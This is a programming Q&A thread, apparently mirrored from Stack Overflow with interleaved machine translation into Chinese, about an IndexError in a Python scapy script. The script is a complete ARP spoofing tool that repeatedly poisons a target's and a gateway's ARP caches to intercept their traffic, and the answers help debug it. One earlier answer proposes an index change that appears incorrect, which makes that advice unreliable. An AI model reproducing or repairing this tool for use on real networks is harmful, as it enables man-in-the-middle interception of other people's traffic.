简体   繁体   English

macOS python 2.7 错误:IndexError:列表索引超出范围

[英]macOS python 2.7 error : IndexError: list index out of range

    #!/usr/bin/env python

import scapy.all as scapy
import time
import sys
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', dest='target_ip', help='[+] IP of target')
    parser.add_argument('-g', '--gateway', dest='gateway_ip', help='[+] IP of gateway')
    return parser.parse_args()


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)


options = get_arguments()
sent_packets_count = 0
try:
    while True:
        spoof(options.target_ip, options.gateway_ip)
        spoof(options.gateway_ip, options.target_ip)
        sent_packets_count = sent_packets_count + 2
        print('\r[+] Packets sent : ' + str(sent_packets_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    restore(options.target_ip, options.gateway_ip)
    restore(options.gateway_ip, options.target_ip)
    print('\n[+] Restoring ARP tables...\n[+] Quitting...')

updated question with full code用完整代码更新问题

having trouble using this function on macOS.在 macOS 上使用此 function 时遇到问题。 it seems to me my indexes arecorrect so wondering if this is a macOS compatability issue?在我看来,我的索引是正确的,所以想知道这是否是 macOS 兼容性问题? getting the standard IndexError: list index out of range ?获取标准IndexError: list index out of range does my indexing look wrong to anyone?我的索引对任何人来说都是错误的吗?

Updated:更新:

In the answered_list , it is a list of tuple with two elements in it-- send , receive .answered_list中,它是一个包含两个元素的元组列表—— sendreceive Can you try this way:你可以试试这个方法:

ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)
return(str(ans[0][1].hwsrc))

If you still have the error, you need to print out the length of the ans to see where is the issue:如果仍然有错误,则需要打印出ans的长度以查看问题所在:

ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)
print(len(ans))
print(len(ans[0]))
print(len(ans[0][1]))

Example:例子:

ans, unans = scapy.srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IP), timeout=2, iface=self.interface, inter=0.2)

for send, receive in ans:
    return receive.sprintf(r"%Ether.src%") 

Let us know.让我们知道。

Previous Answer:上一个答案:

What is the full error log that includes which line has the issue?包含哪一行有问题的完整错误日志是什么? Please give more code that we can reproduce, such as what data look like, and what library you used etc..请提供更多我们可以重现的代码,例如数据是什么样的,您使用了什么库等。

See this line:看到这一行:

answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

You already get the first element using [0] , then in your return you did it again:您已经使用[0]获得了第一个元素,然后在返回时再次执行此操作:

return answered_list[0][1].hwsrc

I think the correct code should be:我认为正确的代码应该是:

return answered_list[1].hwsrc

Hope this helps.希望这可以帮助。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM